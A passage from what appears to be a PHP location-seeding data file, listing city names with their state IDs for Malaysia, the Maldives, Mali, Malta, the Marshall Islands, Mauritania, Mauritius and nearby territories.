['state_id' => '2307', 'name' => 'ulu tiram'],\n ['state_id' => '2307', 'name' => 'yong peng'],\n ['state_id' => '2308', 'name' => 'alor setar'],\n ['state_id' => '2308', 'name' => 'bailing'],\n ['state_id' => '2308', 'name' => 'bedong'],\n ['state_id' => '2308', 'name' => 'gurun'],\n ['state_id' => '2308', 'name' => 'jitra'],\n ['state_id' => '2308', 'name' => 'kuah'],\n ['state_id' => '2308', 'name' => 'kuala kedah'],\n ['state_id' => '2308', 'name' => 'kulim'],\n ['state_id' => '2308', 'name' => 'langgar'],\n ['state_id' => '2308', 'name' => 'sungai petani'],\n ['state_id' => '2309', 'name' => 'gua musang'],\n ['state_id' => '2309', 'name' => 'kadok'],\n ['state_id' => '2309', 'name' => 'kota bahru'],\n ['state_id' => '2309', 'name' => 'kuala krai'],\n ['state_id' => '2309', 'name' => 'pangkal kalong'],\n ['state_id' => '2309', 'name' => 'pasir mas'],\n ['state_id' => '2309', 'name' => 'peringat'],\n ['state_id' => '2309', 'name' => 'tanah merah'],\n ['state_id' => '2309', 'name' => 'tumpat'],\n ['state_id' => '2309', 'name' => 'wakaf baru'],\n ['state_id' => '2311', 'name' => 'labuan'],\n ['state_id' => '2312', 'name' => 'alor gajah'],\n ['state_id' => '2312', 'name' => 'ayer keroh'],\n ['state_id' => '2312', 'name' => 'ayer molek'],\n ['state_id' => '2312', 'name' => 'batu berendam'],\n ['state_id' => '2312', 'name' => 'bemban'],\n ['state_id' => '2312', 'name' => 'bukit baru'],\n ['state_id' => '2312', 'name' => 'bukit rambai'],\n ['state_id' => '2312', 'name' => 'klebang'],\n ['state_id' => '2312', 'name' => 'kuala sungai baru'],\n ['state_id' => '2312', 'name' => 'malacca'],\n ['state_id' => '2312', 'name' => 'masjid tanah'],\n ['state_id' => '2312', 'name' => 'melaka'],\n ['state_id' => '2312', 'name' => 'pulau sebang'],\n ['state_id' => '2312', 'name' => 'sungai udang'],\n ['state_id' => '2315', 'name' => 'bandar jengka pusat'],\n ['state_id' => '2315', 'name' => 'bentong'],\n ['state_id' => '2315', 'name' => 'bukit tinggi'],\n ['state_id' => '2315', 'name' => 'jerantut'],\n ['state_id' => '2315', 'name' => 'karak'],\n ['state_id' => '2315', 'name' => 'kuala lipis'],\n ['state_id' => '2315', 'name' => 'kuantan'],\n ['state_id' => '2315', 'name' => 'mentakab'],\n ['state_id' => '2315', 'name' => 'pekan'],\n ['state_id' => '2315', 'name' => 'pulau pinang'],\n ['state_id' => '2315', 'name' => 'raub'],\n ['state_id' => '2315', 'name' => 'temerloh'],\n ['state_id' => '2316', 'name' => 'bayan lepas'],\n ['state_id' => '2316', 'name' => 'church town'],\n ['state_id' => '2316', 'name' => 'george town'],\n ['state_id' => '2317', 'name' => 'ayer tawar'],\n ['state_id' => '2317', 'name' => 'bagan serai'],\n ['state_id' => '2317', 'name' => 'batu gajah'],\n ['state_id' => '2317', 'name' => 'bidor'],\n ['state_id' => '2317', 'name' => 'ipoh'],\n ['state_id' => '2317', 'name' => 'jelapang'],\n ['state_id' => '2317', 'name' => 'kampar'],\n ['state_id' => '2317', 'name' => 'kampong koh'],\n ['state_id' => '2317', 'name' => 'kuala kangsar'],\n ['state_id' => '2317', 'name' => 'lawan kuda baharu'],\n ['state_id' => '2317', 'name' => 'lumut'],\n ['state_id' => '2317', 'name' => 'pantai remis'],\n ['state_id' => '2317', 'name' => 'parit buntar'],\n ['state_id' => '2317', 'name' => 'perak'],\n ['state_id' => '2317', 'name' => 'pusing'],\n ['state_id' => '2317', 'name' => 'simpang empat'],\n ['state_id' => '2317', 'name' => 'sungai siput utara'],\n ['state_id' => '2317', 'name' => 'taiping'],\n ['state_id' => '2317', 'name' => 'tanjong malim'],\n ['state_id' => '2317', 'name' => 'tapah'],\n ['state_id' => '2317', 'name' => 'teluk intan'],\n ['state_id' => '2318', 'name' => 'kangar'],\n ['state_id' => '2318', 'name' => 'kuala perlis'],\n ['state_id' => '2320', 'name' => 'beaufort'],\n ['state_id' => '2320', 'name' => 'donggongon'],\n ['state_id' => '2320', 'name' => 'keningau'],\n ['state_id' => '2320', 'name' => 'kinarut'],\n ['state_id' => '2320', 'name' => 'kota belud'],\n ['state_id' => '2320', 'name' => 'kota kinabalu'],\n ['state_id' => '2320', 'name' => 'kudat'],\n ['state_id' => '2320', 'name' => 'kunak'],\n ['state_id' => '2320', 'name' => 'lahad datu'],\n ['state_id' => '2320', 'name' => 'papar'],\n ['state_id' => '2320', 'name' => 'putatan'],\n ['state_id' => '2320', 'name' => 'ranau'],\n ['state_id' => '2320', 'name' => 'sandakan'],\n ['state_id' => '2320', 'name' => 'semporna'],\n ['state_id' => '2320', 'name' => 'tawau'],\n ['state_id' => '2321', 'name' => 'batu delapan bazaar'],\n ['state_id' => '2321', 'name' => 'bintulu'],\n ['state_id' => '2321', 'name' => 'kapit'],\n ['state_id' => '2321', 'name' => 'kota samarahan'],\n ['state_id' => '2321', 'name' => 'kuching'],\n ['state_id' => '2321', 'name' => 'limbang'],\n ['state_id' => '2321', 'name' => 'miri'],\n ['state_id' => '2321', 'name' => 'sarawak'],\n ['state_id' => '2321', 'name' => 'sarikel'],\n ['state_id' => '2321', 'name' => 'sibu'],\n ['state_id' => '2321', 'name' => 'sri aman'],\n ['state_id' => '2322', 'name' => 'ampang'],\n ['state_id' => '2322', 'name' => 'ampang jaya'],\n ['state_id' => '2322', 'name' => 'balakong'],\n ['state_id' => '2322', 'name' => 'bandar baru bangi'],\n ['state_id' => '2322', 'name' => 'bandar baru salak tinggi'],\n ['state_id' => '2322', 'name' => 'bander baro bangi'],\n ['state_id' => '2322', 'name' => 'banting'],\n ['state_id' => '2322', 'name' => 'batang berjuntai'],\n ['state_id' => '2322', 'name' => 'batu arang'],\n ['state_id' => '2322', 'name' => 'batu sembilan cheras'],\n ['state_id' => '2322', 'name' => 'beranang'],\n ['state_id' => '2322', 'name' => 'bukit beruntung'],\n ['state_id' => '2322', 'name' => 'cyberjaya'],\n ['state_id' => '2322', 'name' => 'darul ehsan'],\n ['state_id' => '2322', 'name' => 'dungun'],\n ['state_id' => '2322', 'name' => 'gombak setia'],\n ['state_id' => '2322', 'name' => 'jenjarom'],\n ['state_id' => '2322', 'name' => 'kajang'],\n ['state_id' => '2322', 'name' => 'kajang-sungai chua'],\n ['state_id' => '2322', 'name' => 'klang'],\n ['state_id' => '2322', 'name' => 'kuala kubu baru'],\n ['state_id' => '2322', 'name' => 'kuala selangor'],\n ['state_id' => '2322', 'name' => 'kuang'],\n ['state_id' => '2322', 'name' => 'pengkalan kundang'],\n ['state_id' => '2322', 'name' => 'petaling jaya'],\n ['state_id' => '2322', 'name' => 'port klang'],\n ['state_id' => '2322', 'name' => 'puchong'],\n ['state_id' => '2322', 'name' => 'rawang'],\n ['state_id' => '2322', 'name' => 'sabak'],\n ['state_id' => '2322', 'name' => 'sekinchan'],\n ['state_id' => '2322', 'name' => 'selayang baru'],\n ['state_id' => '2322', 'name' => 'semenyih'],\n ['state_id' => '2322', 'name' => 'serendah'],\n ['state_id' => '2322', 'name' => 'seri kembangan'],\n ['state_id' => '2322', 'name' => 'shah alam'],\n ['state_id' => '2322', 'name' => 'subang jaya'],\n ['state_id' => '2322', 'name' => 'sungai besar'],\n ['state_id' => '2322', 'name' => 'sungai buloh'],\n ['state_id' => '2322', 'name' => 'sungai pelek'],\n ['state_id' => '2322', 'name' => 'taman greenwood'],\n ['state_id' => '2322', 'name' => 'tanjong karang'],\n ['state_id' => '2322', 'name' => 'tanjong sepat'],\n ['state_id' => '2323', 'name' => 'bahaiyah'],\n ['state_id' => '2323', 'name' => 'langkap'],\n ['state_id' => '2324', 'name' => 'cukai'],\n ['state_id' => '2324', 'name' => 'jertih'],\n ['state_id' => '2324', 'name' => 'kemaman'],\n ['state_id' => '2324', 'name' => 'kerteh'],\n ['state_id' => '2324', 'name' => 'kuala terengganu'],\n ['state_id' => '2324', 'name' => 'marang'],\n ['state_id' => '2324', 'name' => 'paka'],\n ['state_id' => '2324', 'name' => 'serdang'],\n ['state_id' => '2327', 'name' => 'dharavandhoo'],\n ['state_id' => '2327', 'name' => 'dhonfanu'],\n ['state_id' => '2327', 'name' => 'eydhafushi'],\n ['state_id' => '2327', 'name' => 'fehendhoo'],\n ['state_id' => '2327', 'name' => 'fulhadhoo'],\n ['state_id' => '2327', 'name' => 'goidhoo'],\n ['state_id' => '2327', 'name' => 'hithaadhoo'],\n ['state_id' => '2327', 'name' => 'kamadhoo'],\n ['state_id' => '2327', 'name' => 'kendhoo'],\n ['state_id' => '2327', 'name' => 'kihaadhoo'],\n ['state_id' => '2327', 'name' => 'kudarikilu'],\n ['state_id' => '2327', 'name' => 'maalhos'],\n ['state_id' => '2327', 'name' => 'thulhaadhoo'],\n ['state_id' => '2328', 'name' => 'badidhoo'],\n ['state_id' => '2328', 'name' => 'gemendhoo'],\n ['state_id' => '2328', 'name' => 'hulhudheli'],\n ['state_id' => '2328', 'name' => 'kudahuvadhoo'],\n ['state_id' => '2328', 'name' => 'maaeboodhoo'],\n ['state_id' => '2328', 'name' => 'meedhoo'],\n ['state_id' => '2328', 'name' => 'ribudhoo'],\n ['state_id' => '2328', 'name' => 'vaanee'],\n ['state_id' => '2329', 'name' => 'biledhdhoo'],\n ['state_id' => '2329', 'name' => 'dharaboodhoo'],\n ['state_id' => '2329', 'name' => 'feeali'],\n ['state_id' => '2329', 'name' => 'magoodhoo'],\n ['state_id' => '2329', 'name' => 'nilandhoo'],\n ['state_id' => '2332', 'name' => 'fuvammulah'],\n ['state_id' => '2335', 'name' => 'dhiffushi'],\n ['state_id' => '2335', 'name' => 'gaafaru'],\n ['state_id' => '2335', 'name' => 'gulhi'],\n ['state_id' => '2335', 'name' => 'guraidhoo'],\n ['state_id' => '2335', 'name' => 'himmafushi'],\n ['state_id' => '2335', 'name' => 'huraa'],\n ['state_id' => '2335', 'name' => 'kaashidhoo'],\n ['state_id' => '2335', 'name' => 'maafushi'],\n ['state_id' => '2335', 'name' => 'thulusdhoo'],\n ['state_id' => '2336', 'name' => 'dhabidhoo'],\n ['state_id' => '2336', 'name' => 'fonadhoo'],\n ['state_id' => '2336', 'name' => 'gaadhoo'],\n ['state_id' => '2336', 'name' => 'gamu'],\n ['state_id' => '2336', 'name' => 'hithadhoo'],\n ['state_id' => '2336', 'name' => 'isdhoo'],\n ['state_id' => '2336', 'name' => 'kalhaidhoo'],\n ['state_id' => '2336', 'name' => 'kunahandhoo'],\n ['state_id' => '2336', 'name' => 'maabaidhoo'],\n ['state_id' => '2336', 'name' => 'maamendhoo'],\n ['state_id' => '2336', 'name' => 'maavah'],\n ['state_id' => '2336', 'name' => 'mundhoo'],\n ['state_id' => '2337', 'name' => 'hinnavaru'],\n ['state_id' => '2337', 'name' => 'kurendhoo'],\n ['state_id' => '2337', 'name' => 'maafilaafushi'],\n ['state_id' => '2337', 'name' => 'naifaru'],\n ['state_id' => '2337', 'name' => 'olhuvelifushi'],\n ['state_id' => '2339', 'name' => 'dhiggaru'],\n ['state_id' => '2339', 'name' => 'kolhufushi'],\n ['state_id' => '2339', 'name' => 'madifushi'],\n ['state_id' => '2339', 'name' => 'maduvvari'],\n ['state_id' => '2339', 'name' => 'mulah'],\n ['state_id' => '2339', 'name' => 'muli'],\n ['state_id' => '2339', 'name' => 'naalaafushi'],\n ['state_id' => '2339', 'name' => 'raimandhoo'],\n ['state_id' => '2339', 'name' => 'veyvah'],\n ['state_id' => '2340', 'name' => 'fodhdhoo'],\n ['state_id' => '2340', 'name' => 'hebadhoo'],\n ['state_id' => '2340', 'name' => 'holhudhoo'],\n ['state_id' => '2340', 'name' => 'kedhikolhudhoo'],\n ['state_id' => '2340', 'name' => 'kudafari'],\n ['state_id' => '2340', 'name' => 'landhoo'],\n ['state_id' => '2340', 'name' => 'lhohi'],\n ['state_id' => '2340', 'name' => 'maafaru'],\n ['state_id' => '2340', 'name' => 'maalhendhoo'],\n ['state_id' => '2340', 'name' => 'magoodhoo'],\n ['state_id' => '2340', 'name' => 'manadhoo'],\n ['state_id' => '2340', 'name' => 'miladhoo'],\n ['state_id' => '2340', 'name' => 'velidhoo'],\n ['state_id' => '2341', 'name' => 'agolhitheemu'],\n ['state_id' => '2341', 'name' => 'alifushi'],\n ['state_id' => '2341', 'name' => 'fainu'],\n ['state_id' => '2341', 'name' => 'hulhudhuffaaru'],\n ['state_id' => '2341', 'name' => 'iguraidhoo'],\n ['state_id' => '2341', 'name' => 'innamaadhoo'],\n ['state_id' => '2341', 'name' => 'kadholhudhoo'],\n ['state_id' => '2341', 'name' => 'kinolhas'],\n ['state_id' => '2341', 'name' => 'maakurathu'],\n ['state_id' => '2341', 'name' => 'maduvvari'],\n ['state_id' => '2341', 'name' => 'meedhoo'],\n ['state_id' => '2341', 'name' => 'rasgetheemu'],\n ['state_id' => '2341', 'name' => 'rasmaadhoo'],\n ['state_id' => '2341', 'name' => 'ugoofaaru'],\n ['state_id' => '2341', 'name' => 'vaadhoo'],\n ['state_id' => '2342', 'name' => 'bilehffahi'],\n ['state_id' => '2342', 'name' => 'feevah'],\n ['state_id' => '2342', 'name' => 'feydhoo'],\n ['state_id' => '2342', 'name' => 'firubaidhoo'],\n ['state_id' => '2342', 'name' => 'foakaidhoo'],\n ['state_id' => '2342', 'name' => 'funadhoo'],\n ['state_id' => '2342', 'name' => 'goidhoo'],\n ['state_id' => '2342', 'name' => 'kaditheemu'],\n ['state_id' => '2342', 'name' => 'komandoo'],\n ['state_id' => '2342', 'name' => 'lhaimagu'],\n ['state_id' => '2342', 'name' => 'maakandoodhoo'],\n ['state_id' => '2342', 'name' => 'maaugoodhoo'],\n ['state_id' => '2342', 'name' => 'maroshi'],\n ['state_id' => '2342', 'name' => 'narudhoo'],\n ['state_id' => '2342', 'name' => 'noomaraa'],\n ['state_id' => '2343', 'name' => 'feydhoo'],\n ['state_id' => '2343', 'name' => 'hithadhoo'],\n ['state_id' => '2343', 'name' => 'hulhudhoo'],\n ['state_id' => '2343', 'name' => 'maradhoo'],\n ['state_id' => '2343', 'name' => 'maradhoo-feydhoo'],\n ['state_id' => '2343', 'name' => 'meedhoo'],\n ['state_id' => '2344', 'name' => 'buruni'],\n ['state_id' => '2344', 'name' => 'dhiyamigili'],\n ['state_id' => '2344', 'name' => 'gaadhiffushi'],\n ['state_id' => '2344', 'name' => 'guraidhoo'],\n ['state_id' => '2344', 'name' => 'hirilandhoo'],\n ['state_id' => '2344', 'name' => 'kadoodhoo'],\n ['state_id' => '2344', 'name' => 'kibidhoo'],\n ['state_id' => '2344', 'name' => 'madifushi'],\n ['state_id' => '2344', 'name' => 'omadhoo'],\n ['state_id' => '2344', 'name' => 'thimarafushi'],\n ['state_id' => '2344', 'name' => 'vandhoo'],\n ['state_id' => '2344', 'name' => 'veymandhoo'],\n ['state_id' => '2344', 'name' => 'vilufushi'],\n ['state_id' => '2345', 'name' => 'felidhoo'],\n ['state_id' => '2345', 'name' => 'fulidhoo'],\n ['state_id' => '2345', 'name' => 'keyodhoo'],\n ['state_id' => '2345', 'name' => 'rakeedhoo'],\n ['state_id' => '2345', 'name' => 'thinadhoo'],\n ['state_id' => '2346', 'name' => 'bamako'],\n ['state_id' => '2347', 'name' => 'gao'],\n ['state_id' => '2348', 'name' => 'bafoulabe'],\n ['state_id' => '2348', 'name' => 'kayes'],\n ['state_id' => '2348', 'name' => 'kita'],\n ['state_id' => '2348', 'name' => 'nioro'],\n ['state_id' => '2349', 'name' => 'kidal'],\n ['state_id' => '2349', 'name' => 'tessalit'],\n ['state_id' => '2350', 'name' => 'banamba'],\n ['state_id' => '2350', 'name' => 'kangaba'],\n ['state_id' => '2350', 'name' => 'kati'],\n ['state_id' => '2350', 'name' => 'kolokani'],\n ['state_id' => '2350', 'name' => 'koulikoro'],\n ['state_id' => '2350', 'name' => 'nara'],\n ['state_id' => '2351', 'name' => 'bandiagara'],\n ['state_id' => '2351', 'name' => 'djenne'],\n ['state_id' => '2351', 'name' => 'douentza'],\n ['state_id' => '2351', 'name' => 'koro'],\n ['state_id' => '2351', 'name' => 'mopti'],\n ['state_id' => '2351', 'name' => 'tenenkou'],\n ['state_id' => '2352', 'name' => 'ke-massina'],\n ['state_id' => '2352', 'name' => 'kimparana'],\n ['state_id' => '2352', 'name' => 'markala'],\n ['state_id' => '2352', 'name' => 'niono'],\n ['state_id' => '2352', 'name' => 'san'],\n ['state_id' => '2352', 'name' => 'segou'],\n ['state_id' => '2352', 'name' => 'sokolo'],\n ['state_id' => '2353', 'name' => 'bougouni'],\n ['state_id' => '2353', 'name' => 'kolondieba'],\n ['state_id' => '2353', 'name' => 'koutiala'],\n ['state_id' => '2353', 'name' => 'sikasso'],\n ['state_id' => '2353', 'name' => 'yorosso'],\n ['state_id' => '2354', 'name' => 'araouane'],\n ['state_id' => '2354', 'name' => 'dire'],\n ['state_id' => '2354', 'name' => 'goundam'],\n ['state_id' => '2354', 'name' => 'niafunke'],\n ['state_id' => '2354', 'name' => 'taoudenni'],\n ['state_id' => '2354', 'name' => 'tombouctou'],\n ['state_id' => '2357', 'name' => 'gharghur'],\n ['state_id' => '2357', 'name' => 'mellieha'],\n ['state_id' => '2357', 'name' => 'mgarr'],\n ['state_id' => '2357', 'name' => 'mosta'],\n ['state_id' => '2357', 'name' => 'naxxar'],\n ['state_id' => '2357', 'name' => 'san pawl il-bahar'],\n ['state_id' => '2360', 'name' => 'l-iklin'],\n ['state_id' => '2361', 'name' => 'attard'],\n ['state_id' => '2361', 'name' => 'balzan'],\n ['state_id' => '2361', 'name' => 'dingli'],\n ['state_id' => '2361', 'name' => 'iklin'],\n ['state_id' => '2361', 'name' => 'lija'],\n ['state_id' => '2361', 'name' => 'mdina'],\n ['state_id' => '2361', 'name' => 'rabat'],\n ['state_id' => '2361', 'name' => 'sighghiewi'],\n ['state_id' => '2361', 'name' => 'zebbug'],\n ['state_id' => '2362', 'name' => 'castletown'],\n ['state_id' => '2363', 'name' => 'douglas'],\n ['state_id' => '2364', 'name' => 'laxey'],\n ['state_id' => '2365', 'name' => 'onchan'],\n ['state_id' => '2366', 'name' => 'peel'],\n ['state_id' => '2369', 'name' => 'ramsey'],\n ['state_id' => '2370', 'name' => 'aerok'],\n ['state_id' => '2370', 'name' => 'beran'],\n ['state_id' => '2370', 'name' => 'bikeer'],\n ['state_id' => '2370', 'name' => 'buoj'],\n ['state_id' => '2370', 'name' => 'enewe'],\n ['state_id' => '2370', 'name' => 'jabwan'],\n ['state_id' => '2370', 'name' => 'jah'],\n ['state_id' => '2370', 'name' => 'jeh'],\n ['state_id' => '2370', 'name' => 'kattiej'],\n ['state_id' => '2370', 'name' => 'mejajok'],\n ['state_id' => '2370', 'name' => 'mejil'],\n ['state_id' => '2370', 'name' => 'tobomaro'],\n ['state_id' => '2370', 'name' => 'woja'],\n ['state_id' => '2370', 'name' => 'wolar'],\n ['state_id' => '2371', 'name' => 'ailuk'],\n ['state_id' => '2371', 'name' => 'ajelep'],\n ['state_id' => '2371', 'name' => 'aliej'],\n ['state_id' => '2371', 'name' => 'biken'],\n ['state_id' => '2371', 'name' => 'enejabrok'],\n ['state_id' => '2371', 'name' => 'enejelar'],\n ['state_id' => '2371', 'name' => 'kapen'],\n ['state_id' => '2372', 'name' => 'arno arno'],\n ['state_id' => '2372', 'name' => 'bikarej'],\n ['state_id' => '2372', 'name' => 'bikonele'],\n ['state_id' => '2372', 'name' => 'boken'],\n ['state_id' => '2372', 'name' => 'eneaidrik'],\n ['state_id' => '2372', 'name' => 'enirik'],\n ['state_id' => '2372', 'name' => 'ijoen'],\n ['state_id' => '2372', 'name' => 'ine'],\n ['state_id' => '2372', 'name' => 'japo'],\n ['state_id' => '2372', 'name' => 'jilane'],\n ['state_id' => '2372', 'name' => 'kejbwe'],\n ['state_id' => '2372', 'name' => 'kilange'],\n ['state_id' => '2372', 'name' => 'kilemman'],\n ['state_id' => '2372', 'name' => 'kinajon'],\n ['state_id' => '2372', 'name' => 'langor'],\n ['state_id' => '2372', 'name' => 'lukoj'],\n ['state_id' => '2372', 'name' => 'malel'],\n ['state_id' => '2372', 'name' => 'manrar'],\n ['state_id' => '2372', 'name' => 'matolen'],\n ['state_id' => '2372', 'name' => 'meetdik'],\n ['state_id' => '2372', 'name' => 'mian'],\n ['state_id' => '2372', 'name' => 'najaj'],\n ['state_id' => '2372', 'name' => 'namwi'],\n ['state_id' => '2372', 'name' => 'neenkotkot'],\n ['state_id' => '2372', 'name' => 'taklep'],\n ['state_id' => '2372', 'name' => 'tinak'],\n ['state_id' => '2372', 'name' => 'tutu'],\n ['state_id' => '2372', 'name' => 'ulien'],\n ['state_id' => '2373', 'name' => 'aur'],\n ['state_id' => '2373', 'name' => 'tabal'],\n ['state_id' => '2374', 'name' => 'eneu'],\n ['state_id' => '2375', 'name' => 'emej'],\n ['state_id' => '2375', 'name' => 'enearmij'],\n ['state_id' => '2375', 'name' => 'enekoion'],\n ['state_id' => '2375', 'name' => 'enilok'],\n ['state_id' => '2375', 'name' => 'jittaken'],\n ['state_id' => '2375', 'name' => 'jittoen'],\n ['state_id' => '2375', 'name' => 'rerok'],\n ['state_id' => '2375', 'name' => 'toka'],\n ['state_id' => '2376', 'name' => 'enewetak'],\n ['state_id' => '2376', 'name' => 'japtan'],\n ['state_id' => '2376', 'name' => 'medren'],\n ['state_id' => '2377', 'name' => 'jabat'],\n ['state_id' => '2378', 'name' => 'ae'],\n ['state_id' => '2378', 'name' => 'ajejen'],\n ['state_id' => '2378', 'name' => 'anilep'],\n ['state_id' => '2378', 'name' => 'arreen'],\n ['state_id' => '2378', 'name' => 'bokanake'],\n ['state_id' => '2378', 'name' => 'bokkan'],\n ['state_id' => '2378', 'name' => 'bukantorak'],\n ['state_id' => '2378', 'name' => 'dede'],\n ['state_id' => '2378', 'name' => 'ewo'],\n ['state_id' => '2378', 'name' => 'imiej'],\n ['state_id' => '2378', 'name' => 'imroj'],\n ['state_id' => '2378', 'name' => 'jabnoren'],\n ['state_id' => '2378', 'name' => 'jabwor'],\n ['state_id' => '2378', 'name' => 'jaluit'],\n ['state_id' => '2378', 'name' => 'lonone'],\n ['state_id' => '2378', 'name' => 'mejatto'],\n ['state_id' => '2378', 'name' => 'mejrirok'],\n ['state_id' => '2378', 'name' => 'menge'],\n ['state_id' => '2378', 'name' => 'nabbe'],\n ['state_id' => '2378', 'name' => 'narmej'],\n ['state_id' => '2378', 'name' => 'urbaj'],\n ['state_id' => '2379', 'name' => 'kili'],\n ['state_id' => '2380', 'name' => 'arbwa'],\n ['state_id' => '2380', 'name' => 'ebadon'],\n ['state_id' => '2380', 'name' => 'ebeye'],\n ['state_id' => '2380', 'name' => 'ebjadik'],\n ['state_id' => '2380', 'name' => 'ebwaj'],\n ['state_id' => '2380', 'name' => 'ennilabegan'],\n ['state_id' => '2380', 'name' => 'enubirr'],\n ['state_id' => '2380', 'name' => 'enubuj'],\n ['state_id' => '2380', 'name' => 'gugeegue'],\n ['state_id' => '2380', 'name' => 'mejatto'],\n ['state_id' => '2380', 'name' => 'ningi'],\n ['state_id' => '2380', 'name' => 'north loi'],\n ['state_id' => '2380', 'name' => 'orpap'],\n ['state_id' => '2380', 'name' => 'south loi'],\n ['state_id' => '2381', 'name' => 'enerein'],\n ['state_id' => '2381', 'name' => 'lae'],\n ['state_id' => '2381', 'name' => 'lejab'],\n ['state_id' => '2382', 'name' => 'lib'],\n ['state_id' => '2383', 'name' => 'jebal'],\n ['state_id' => '2383', 'name' => 'likiep'],\n ['state_id' => '2383', 'name' => 'liklal'],\n ['state_id' => '2383', 'name' => 'melang'],\n ['state_id' => '2384', 'name' => 'ajeltake'],\n ['state_id' => '2384', 'name' => 'aneenwudej'],\n ['state_id' => '2384', 'name' => 'aneko'],\n ['state_id' => '2384', 'name' => 'arrak'],\n ['state_id' => '2384', 'name' => 'biken'],\n ['state_id' => '2384', 'name' => 'bokaetoktok'],\n ['state_id' => '2384', 'name' => 'denmeo'],\n ['state_id' => '2384', 'name' => 'didej'],\n ['state_id' => '2384', 'name' => 'ejit'],\n ['state_id' => '2384', 'name' => 'enemanet'],\n ['state_id' => '2384', 'name' => 'jelter'],\n ['state_id' => '2384', 'name' => 'kalalen'],\n ['state_id' => '2384', 'name' => 'kemman'],\n ['state_id' => '2384', 'name' => 'laura'],\n ['state_id' => '2384', 'name' => 'pikiriin'],\n ['state_id' => '2384', 'name' => 'rita'],\n ['state_id' => '2384', 'name' => 'rongrong'],\n ['state_id' => '2384', 'name' => 'woja'],\n ['state_id' => '2385', 'name' => 'airok'],\n ['state_id' => '2385', 'name' => 'jang'],\n ['state_id' => '2385', 'name' => 'kaben'],\n ['state_id' => '2385', 'name' => 'tarawa'],\n ['state_id' => '2385', 'name' => 'wolot'],\n ['state_id' => '2386', 'name' => 'mejit'],\n ['state_id' => '2387', 'name' => 'aeloneo'],\n ['state_id' => '2387', 'name' => 'anel'],\n ['state_id' => '2387', 'name' => 'arbar'],\n ['state_id' => '2387', 'name' => 'bar'],\n ['state_id' => '2387', 'name' => 'bikonel'],\n ['state_id' => '2387', 'name' => 'enajet'],\n ['state_id' => '2387', 'name' => 'eoo'],\n ['state_id' => '2387', 'name' => 'jabonwod'],\n ['state_id' => '2387', 'name' => 'loen'],\n ['state_id' => '2387', 'name' => 'lukoj'],\n ['state_id' => '2387', 'name' => 'lukonwor'],\n ['state_id' => '2387', 'name' => 'mae'],\n ['state_id' => '2387', 'name' => 'majkin'],\n ['state_id' => '2387', 'name' => 'mili'],\n ['state_id' => '2387', 'name' => 'nad'],\n ['state_id' => '2387', 'name' => 'nallu'],\n ['state_id' => '2387', 'name' => 'tokewa'],\n ['state_id' => '2387', 'name' => 'wau'],\n ['state_id' => '2388', 'name' => 'namorik'],\n ['state_id' => '2389', 'name' => 'namu'],\n ['state_id' => '2390', 'name' => 'rongelap'],\n ['state_id' => '2391', 'name' => 'ujae'],\n ['state_id' => '2392', 'name' => 'utirik'],\n ['state_id' => '2393', 'name' => 'wotho'],\n ['state_id' => '2394', 'name' => 'didi'],\n ['state_id' => '2394', 'name' => 'nibun'],\n ['state_id' => '2394', 'name' => 'wormej'],\n ['state_id' => '2394', 'name' => 'wotje'],\n ['state_id' => '2395', 'name' => 'fort-de-france'],\n ['state_id' => '2395', 'name' => 'le lamentin'],\n ['state_id' => '2395', 'name' => 'saint-joseph'],\n ['state_id' => '2395', 'name' => 'schoelcher'],\n ['state_id' => '2398', 'name' => 'le morne-rouge'],\n ['state_id' => '2398', 'name' => 'saint-pierre'],\n ['state_id' => '2399', 'name' => 'atar'],\n ['state_id' => '2399', 'name' => 'shingati'],\n ['state_id' => '2400', 'name' => 'kifah'],\n ['state_id' => '2401', 'name' => 'alaq'],\n ['state_id' => '2401', 'name' => 'buqah'],\n ['state_id' => '2401', 'name' => 'magta\\' lahjar'],\n ['state_id' => '2403', 'name' => '\\'ayun-al-\\'atrus'],\n ['state_id' => '2403', 'name' => 'kubanni'],\n ['state_id' => '2404', 'name' => 'timbedra'],\n ['state_id' => '2404', 'name' => 'walatah'],\n ['state_id' => '2404', 'name' => 'an-na\\'mah'],\n ['state_id' => '2405', 'name' => 'aqjawajat'],\n ['state_id' => '2406', 'name' => 'nawakshut'],\n ['state_id' => '2407', 'name' => 'hsay walad \\'ali babi'],\n ['state_id' => '2408', 'name' => 'kayhaydi'],\n ['state_id' => '2409', 'name' => 'tijiqjah'],\n ['state_id' => '2411', 'name' => 'rusu'],\n ['state_id' => '2414', 'name' => 'bel air'],\n ['state_id' => '2414', 'name' => 'bon accueil'],\n ['state_id' => '2414', 'name' => 'brisee verdiere'],\n ['state_id' => '2414', 'name' => 'camp ithier'],\n ['state_id' => '2414', 'name' => 'camp de masque'],\n ['state_id' => '2414', 'name' => 'camp de masque pave'],\n ['state_id' => '2414', 'name' => 'central flacq'],\n ['state_id' => '2414', 'name' => 'clemencia'],\n ['state_id' => '2414', 'name' => 'ecroignard'],\n ['state_id' => '2414', 'name' => 'grand river south east'],\n ['state_id' => '2414', 'name' => 'lalmatie'],\n ['state_id' => '2414', 'name' => 'laventure'],\n ['state_id' => '2414', 'name' => 'mare la chaux'],\n ['state_id' => '2414', 'name' => 'medine-camp de masque'],\n ['state_id' => '2414', 'name' => 'olivia'],\n ['state_id' => '2414', 'name' => 'poste de flacq'],\n ['state_id' => '2414', 'name' => 'quatre cocos'],\n ['state_id' => '2414', 'name' => 'quatre soeurs'],\n ['state_id' => '2414', 'name' => 'queen victoria'],\n ['state_id' => '2414', 'name' => 'saint julien'],\n ['state_id' => '2414', 'name' => 'saint julien d\\'hotman'],\n ['state_id' => '2414', 'name' => 'sebastopol'],\n ['state_id' => '2414', 'name' => 'trou d\\'eau douce'],\n ['state_id' => '2415', 'name' => 'floreal'],\n ['state_id' => '2417', 'name' => 'camp thorel'],\n ['state_id' => '2417', 'name' => 'dagotiere'],\n ['state_id' => '2417', 'name' => 'dubreuil'],\n ['state_id' => '2417', 'name' => 'esperance'],\n ['state_id' => '2417', 'name' => 'l\\'avenir'],\n ['state_id' => '2417', 'name' => 'la laura-malenga'],\n ['state_id' => '2417', 'name' => 'melrose'],\n ['state_id' => '2417', 'name' => 'moka'],\n ['state_id' => '2417', 'name' => 'montagne blanche'],\n ['state_id' => '2417', 'name' => 'pailles'],\n ['state_id' => '2417', 'name' => 'providence'],\n ['state_id' => '2417', 'name' => 'quartier militaire'],\n ['state_id' => '2417', 'name' => 'ripailles'],\n ['state_id' => '2417', 'name' => 'saint pierre'],\n ['state_id' => '2417', 'name' => 'verdun'],\n ['state_id' => '2418', 'name' => 'arsenal'],\n ['state_id' => '2418', 'name' => 'baie du tombeau'],\n ['state_id' => '2418', 'name' => 'calebasses'],\n 